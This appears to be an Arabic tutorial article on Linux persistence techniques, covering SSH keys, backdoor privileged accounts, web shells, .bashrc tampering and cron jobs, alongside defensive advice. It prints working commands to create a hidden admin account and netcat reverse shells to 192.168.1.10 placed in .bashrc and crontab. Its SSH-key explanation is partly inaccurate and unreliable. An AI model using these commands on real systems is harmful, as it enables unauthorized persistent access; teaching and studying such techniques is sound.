
تقنيات الثبات في لينكس (Linux Persistence Techniques) هي مجموعة من التقنيات التي تهدف إلى الحفاظ على وجود malware على نظام تشغيل لينكس بشكل دائم، وذلك من خلال تثبيت malware في عدة مواقع على النظام، وإخفاءها عن الأدوات التي تستخدمها الأنظمة الأمنية للكشف عن malware.
تتضمن تقنيات الثبات في لينكس عدة طرق، من بينها:
1. الإخفاء في ملفات النظام: حيث يتم تثبيت malware في ملفات النظام، مثل /bin أو /usr/bin، وهذا يجعل من الصعب على أدوات الأمان الكشف عن وجودها.
2. الإخفاء في المكتبات المشتركة: حيث يتم تثبيت malware في مكتبات المشاركة، مثل /usr/lib، وهذا يمكن أن يجعل من الصعب الكشف عنها حيث يمكن أن تستخدم من قبل تطبيقات أخرى.
3. الإخفاء في الخدمات: حيث يتم تثبيت malware كخدمة في النظام، مثل cron أو init، وهذا يجعل من الصعب على أدوات الأمان الكشف عن وجودها.
4. الإخفاء في النواة: حيث يتم تثبيت malware كوحدة مفتاحية في النواة، وهذا يجعل من الصعب الكشف عنها حيث يمكن أن تستخدم للتحكم في جميع جوانب النظام.
5. الإخفاء في الذاكرة: حيث يتم تحميل malware في الذاكرة، ويتم تشغيلها من هناك، وهذا يجعل من الصعب على أدوات الأمان الكشف عن وجودها.
ومن أجل الحد من تأثير هذه التقنيات، يمكن اتباع بعض الإجراءات الأمنية الأساسية، مثل التحقق من صلاحية المستخدمين والتحقق من التطبيقات التي تعمل على النظام والتأكد من أنها آمنة، وتحديث البرامج بانتظام وتثبيت أدوات الأمان الإضافية، مثل برامج Antiviruses و Firewalls والتأكد من تفعيل التحديثات التلقائية للنظام.
كما يمكن استخدام أدوات مختلفة للكشف عن وجود malware مثل برامج مضادات الفيروسات وأدوات الفحص العميق Deep Scanning Tools وأدوات الكشف عن الثغرات Vulnerability Scanning Tools. كما يمكن استخدام أدوات الحماية المتقدمة مثل SELinux و AppArmor، وهي أدوات توفر ميزات إضافية لتعزيز الأمان في النظام.
في النهاية، يجب أن يتم التعامل مع تقنيات الثبات في لينكس بجدية واتخاذ الإجراءات اللازمة للحد من تأثيرها. يجب العمل على تحسين الأمان العام للنظام من خلال تطبيق ممارسات الأمان الجيدة واستخدام أدوات الأمان المناسبة، والتأكد من إتباع الإجراءات الأمنية اللازمة للحفاظ على سلامة النظام والبيانات.
Session agenda
- التلاعب بالحسابات (Account manipulation)
- إنشاء حساب بامتيازات عالية (Create an account with high privileges)
- تعديل في shell يونكس (Unix shell configuration modification)
- Web Shell/Bd Persistence
- الوظائف (Persistence cron jobs)
Persistence SSH Keys
الثبات عبر مفاتيح SSH هو نوع من تقنيات الثبات في لينكس، والتي تتمثل في استخدام مفاتيح SSH للحصول على وصول دائم إلى النظام بما في ذلك بعد إعادة التشغيل.
عادةً ما تستخدم مفاتيح SSH لتأمين وصول المستخدمين إلى النظام عن بعد. ولكن، يمكن استخدامها أيضًا للوصول الدائم إلى النظام بعد إعادة التشغيل، وذلك عن طريق تثبيت المفتاح العام للمستخدم في النظام، وإنشاء حساب مستخدم مبني على هذا المفتاح العام. وبهذا الشكل، سيتمكن المستخدم من الوصول إلى النظام بعد إعادة التشغيل، دون الحاجة إلى إدخال كلمة مرور أو تسجيل الدخول.
يتم تحقيق ذلك عن طريق تعديل ملفات التكوين في النظام، مثل ملفات sshd_config، وإضافة المفتاح العام للمستخدم إلى الملفات المناسبة. عندما يتم تشغيل النظام، سيتم إنشاء حساب المستخدم الذي يستند إلى المفتاح العام، وبهذا الشكل يتمكن المستخدم من الوصول إلى النظام بدون إدخال كلمة مرور أو تسجيل الدخول.
من الجدير بالذكر أن تقنية الثبات عبر مفاتيح SSH يمكن استخدامها بشكل خبيث عندما يستخدم المهاجمون المفاتيح العامة للوصول إلى النظام بشكل غير مصرح به. لذلك، يجب تأمين المفاتيح الخاصة والعامة وتقييدها بشكل صارم لضمان عدم استخدامها بشكل خبيث.
في النهاية، يمكن استخدام تقنية الثبات عبر مفاتيح SSH بشكل آمن لتوفير وصول دائم إلى النظام بعد إعادة التشغيل. ولكن يجب تطبيق ممارسات الأمان الجيدة واتخاذ الإجراءات اللازمة لتأمين المفاتيح العامة والخاصة، والتأكد من تحديث النظام وتثبيت التحديثات الأمنية اللازمة.
Create an account with high privileges
إنشاء حساب محلي ذو امتيازات مرتفعة هو نوع آخر من تقنيات الثبات في لينكس. يتمثل هذا النوع من التقنيات في إنشاء حساب مستخدم محلي في النظام، يتم تعيين له امتيازات مرتفعة، مما يمكنه من الوصول إلى الموارد والبيانات التي لا يمكن الوصول إليها عادةً من قبل المستخدمين العاديين.
يتم إنشاء هذا الحساب المحلي ذو الامتيازات المرتفعة عن طريق استغلال ثغرات في النظام أو استخدام أدوات خبيثة تسمح بتثبيت الحساب دون علم المستخدمين الآخرين. وبمجرد إنشاء الحساب، يمكن للمستخدم الخبيث الوصول إلى الموارد المحمية في النظام، وتثبيت malware بسهولة.
لتحقيق ذلك، يقوم المهاجمون بتحديث ملفات التكوين في النظام، مثل ملفات /etc/passwd و /etc/shadow وإضافة حساب malicious user إلى هذه الملفات. وعندما يتم تشغيل النظام، سيتم إنشاء الحساب المحلي ذو الامتيازات المرتفعة، ويمكن malicious user الوصول إلى الموارد المحمية في النظام.
يجب أن يتم التعامل مع تقنية الثبات عبر إنشاء حساب محلي ذو امتيازات مرتفعة بجدية، ويجب تطبيق ممارسات الأمان الجيدة لحماية النظام من هذا النوع من الهجمات. يجب تحديث النظام بانتظام وتثبيت التحديثات الأمنية اللازمة، وتقييد حسابات المستخدمين بشكل صارم وتقييد الوصول إلى الموارد المحمية في النظام. كما يجب استخدام أدوات الأمان المناسبة للكشف عن الحسابات المحلية التي تم إنشاؤها بشكل غير مصرح به، وتحديد الثغرات في النظام التي من الممكن استغلالها لإنشاء حسابات محلية ذات امتيازات مرتفعة.
root: useradd -m -s /bin/bash kaissar root: usermod -aG admin kaissar root: passwd kaissar
Web Shell/Bd Persistence
هو نوع آخر من تقنيات الثبات في لينكس. يتمثل هذا النوع من التقنيات في تثبيت واجهة ويب خبيثة أو باب خلفي في النظام، والتي تسمح بالوصول إلى النظام وتنفيذ الأوامر الخبيثة عن بعد.
يتم تحقيق ذلك عن طريق تثبيت برامج خبيثة مخفية على النظام، والتي تسمح بتشغيل واجهة ويب أو باب خلفي. وعندما يتم تشغيل الواجهة أو الباب الخلفي، يمكن للمهاجمين الوصول إلى النظام عن بعد وتنفيذ الأوامر، مما يسمح لهم بالسيطرة على النظام والوصول إلى الموارد المحمية.
يمكن أن يتم تثبيت الواجهة عن طريق استغلال ثغرات أمنية في النظام، أو عن طريق الوصول إلى النظام عن طريق كلمات مرور ضعيفة أو مسروقة. وبالتالي، يمكن للمهاجمين الوصول إلى النظام بسهولة وتنفيذ الأوامر دون علم المستخدمين الآخرين.
يجب أن يتم التعامل مع تقنية الثبات عبر الباب الخلفي بجدية، ويجب تطبيق ممارسات الأمان الجيدة لحماية النظام من هذا النوع من الهجمات. يجب تحديث النظام بانتظام وتثبيت التحديثات الأمنية اللازمة، وتطبيق تقنيات الحماية المتقدمة مثل جدار الحماية وأدوات الكشف عن الهجمات للكشف عن الواجهات الغير مصرح به. كما يجب تطبيق ممارسات الأمان الجيدة مثل استخدام كلمات مرور قوية وتقييد الوصول إلى الموارد المحمية في النظام.
root: usermod -aG admin www-data root: passwd www-data
Unix shell configuration modification Persistence
تعديل تكوين هو نوع آخر من تقنيات الثبات في لينكس. يتمثل هذا النوع من التقنيات في تعديل ملفات تكوين Unix shell للمستخدمين، مثل ملفات. bashrc و.bash_profile، لتحقيق الوصول الدائم إلى النظام.
يتم تحقيق ذلك عن طريق إدخال أوامر اتصال غير مصرح به في ملفات تكوين Unix shell للمستخدمين، والتي تتمثل في تعيين متغيرات البيئة أو إضافة نصوص أو أوامر إلى ملفات التكوين. وعندما يتم تشغيل Unix Shell ستقوم هذه الأوامر بتثبيت malware أو تنفيذ الأوامر غير مصرح به التي تم إدخالها في ملفات التكوين.
يمكن أن يتسبب تعديل تكوين Unix shell في إنشاء حسابات مستخدمين جديدة ذات امتيازات مرتفعة أو تثبيت malware أو تشغيل malware بشكل دائم عند بدء تشغيل النظام. وبالتالي، يمكن للمهاجمين الوصول إلى الموارد المحمية في النظام وتنفيذ الأوامر الخبيثة بسهولة.
يجب أن يتم التعامل مع تقنية الثبات عبر تعديل تكوين Unix shell بجدية، ويجب تطبيق ممارسات الأمان الجيدة لحماية النظام من هذا النوع من الهجمات. يجب تحديث النظام بانتظام وتثبيت التحديثات الأمنية اللازمة، والتحقق من ملفات تكوين Unix shell للمستخدمين بشكل دوري للتأكد من عدم وجود أي تعديلات غير مصرح بها فيها. يمكن استخدام أدوات الأمان المناسبة للكشف عن النشاط الخبيث في ملفات التكوين، واستخدام أدوات الحماية المتقدمة مثل SELinux وAppArmor لحماية النظام من هذا النوع من الهجمات.
root: echo "nc -e /bin/bash 192.168.1.10 5555 2>/dev/null &" >> .bashrc
Persistence cron jobs
قبل الحديث عن تقنيات الثبات باستخدام cronjob علينا في البداية معرفة ما هو cronjob من الاساس.
Cronjob هي خدمة تستخدم على نظام تشغيل Linux لتجدد وتشغل الأوامر والسكربتات بشكل دوري ومجدول. تستخدم Cronjob لتنفيذ الأوامر والتعليمات بشكل أوتوماتيكي في الخلفية دون تدخل المستخدم.
تعتمد Cronjob على ملف يسمى “crontab”، وهو ملف يحتوي على قائمة بالأوامر التي يجب تشغيلها وتجديدها بشكل دوري. يمكن للمستخدم إنشاء ملف crontab الخاص به باستخدام الأمر “crontab -e” في وضع السطر الفرعي (Terminal)، ويمكن تحرير الملف باستخدام أي محرر نصوص مثل nano أو vi.
تحتوي كل سطر في ملف crontab على ستة حقول تحدد توقيت تشغيل الأمر وتردد تكراره، وتتبع الصيغة الآتية:
* * * * * command to be executed - - - - - | | | | | | | | | +----- اليوم في الأسبوع (0 - 6) (الأحد = 0) | | | +------- الشهر (1 - 12) | | +--------- اليوم في الشهر (1 - 31) | +----------- ساعة (0 - 23) +------------- دقيقة (0 - 59)
على سبيل المثال، إذا كان لدينا أمر يجب تشغيله كل يوم عند الساعة 3:30 مساءً، يمكن كتابة السطر التالي في ملف crontab:
30 15 * * * /path/to/command
وبهذا سيتم تنفيذ الأمر الموجود في “path/to/command” كل يوم في الساعة 3:30 مساءً.
يمكن أيضًا تحديد التكرار بشكل أدق باستخدام حقول الوقت الإضافية في ملف crontab، ويمكن تحديد الأيام والأشهر والأيام في الأسبوع وحتى الأيام في الشهر التي يجب تشغيل الأمر فيها.
يمكن استخدام Cronjob لتشغيل الأوامر المتكررة بشكل دوري وتحديد الوقت الذي يتم فيه تشغيلها بدقة. وتعد Cronjob إحدى الأدوات الضرورية لإدارة الخوادم والنظم في بيئة Linux. ألان يجب عليك التخيل ألان كيف يمكن استخدام cronjob بعض أوأمر الاتصال الغير مصرح به.فيمكن استخدام crontab بعض اوامر الاتصالات الخارجية او reverse shell
root: crontab -e * * * * * nc -e /bin/bash 192.168.1.10 6666 2>/dev/null
مشاء الله ممتاز